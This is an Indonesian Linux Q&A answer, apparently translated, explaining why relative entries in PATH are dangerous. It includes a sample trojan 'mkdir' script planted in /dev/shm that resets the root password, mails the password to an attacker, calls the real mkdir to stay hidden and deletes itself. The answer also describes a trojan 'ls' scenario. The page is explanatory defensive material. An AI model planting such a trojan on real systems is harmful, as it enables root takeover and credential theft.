GNU/Linux >> Belajar Linux >  >> Linux

Implikasi keamanan menggunakan jalur relatif dalam variabel lingkungan PATH?

Ada dua masalah dengan jalur yang Anda gunakan.

  1. Jalurnya relatif.
  2. Jalur relatif datang sebelum jalur utama.

Misalkan Anda memiliki skrip shell berikut yang Anda gunakan sebagai root untuk memperbarui beberapa aplikasi web dan Anda telah menyetel $PATH digunakan di /etc/profile

#!/bin/bash
pushd /dev/shm
git clone http://some/git/path/web_app
cp -a web_app /var/www/html
rm -fr web_app
popd

Untuk penyerang Anda menyediakan sarana untuk mengeksekusi sesuatu di shell yang dikendalikan oleh penyerang tersebut. Suatu bentuk serangan akan terlihat seperti ini - di mana saya mencoba menumbangkan kendali mkdir panggil skrip yang rentan.

attacker$ cd /dev/shm
attacker$ mkdir -p apps/java/bin
attacker$ vi apps/java/bin/mkdir
#!/bin/bash
echo "some_random_password" | passwd --stdin root
echo "We owned that guy with some_random_password" | mail -s "Pwned" [email protected]
/bin/mkdir [email protected]
rm -fr /dev/shm/apps
attacker$ chmod +x apps/java/bin/mkdir

Lalu saya menunggu Anda memperbarui aplikasi web Anda.

Sekarang yang terjadi, skrip yang rentan beralih ke /dev/shm . Ketika melakukan ini dan menjalankan mkdir ia menemukan apps/java/bin/mkdir program terlebih dahulu, yang dalam hal ini mengatur ulang kata sandi root, mengirim email ke penyerang kata sandi root baru, sebenarnya memanggil mkdir yang asli (untuk menyembunyikan fakta bahwa sesuatu telah benar-benar terjadi) dan menghapus dirinya sendiri dari jalur serangan.

Sebagai root, Anda mendapatkan tidak tahu apa yang terjadi dan bukti dihapus setelah muatan dikirim.


Masalah dengan memiliki jalur relatif di $PATH adalah jika penyerang dapat membuat file dengan nama tertentu di sistem file Anda, Anda berisiko mengeksekusi file tersebut.

Contoh:df atau pemantauan mengatakan /var sudah penuh, du tertulis /var/spool/ftp/uploads , apa yang kamu lakukan?

cd /var/spool/ftp/uploads
ls -ltr

dan kamu dimiliki. Anda bahkan tidak melihat ls di output, jadi Anda tidak akan pernah tahu.

Ganti unggahan ftp dengan beberapa direktori data dari beberapa situs web klien, atau direktori /tmp dari mesin bersama, atau banyak hal lainnya.

Memang tidak akan sering terjadi, tetapi risikonya ada, dan menulis ./script bukannya script mudah.


Linux
  1. Tampilan Lengkap Di Mana Variabel Path Diatur Di Bash?

  2. Fungsi Root Grup Pengguna??

  3. Cara mengubah variabel PATH di Linux

  1. Perbedaan antara jalur absolut dan relatif di Linux

  2. Menghitung jumlah file dalam direktori menggunakan C

  3. Menambahkan entri baru ke variabel PATH di ZSH

  1. Mengulangi elemen variabel jalur di Bash

  2. Hapus jalur yang berlebihan dari variabel $PATH

  3. Bagaimana saya bisa memulai program sebagai root menggunakan window manager?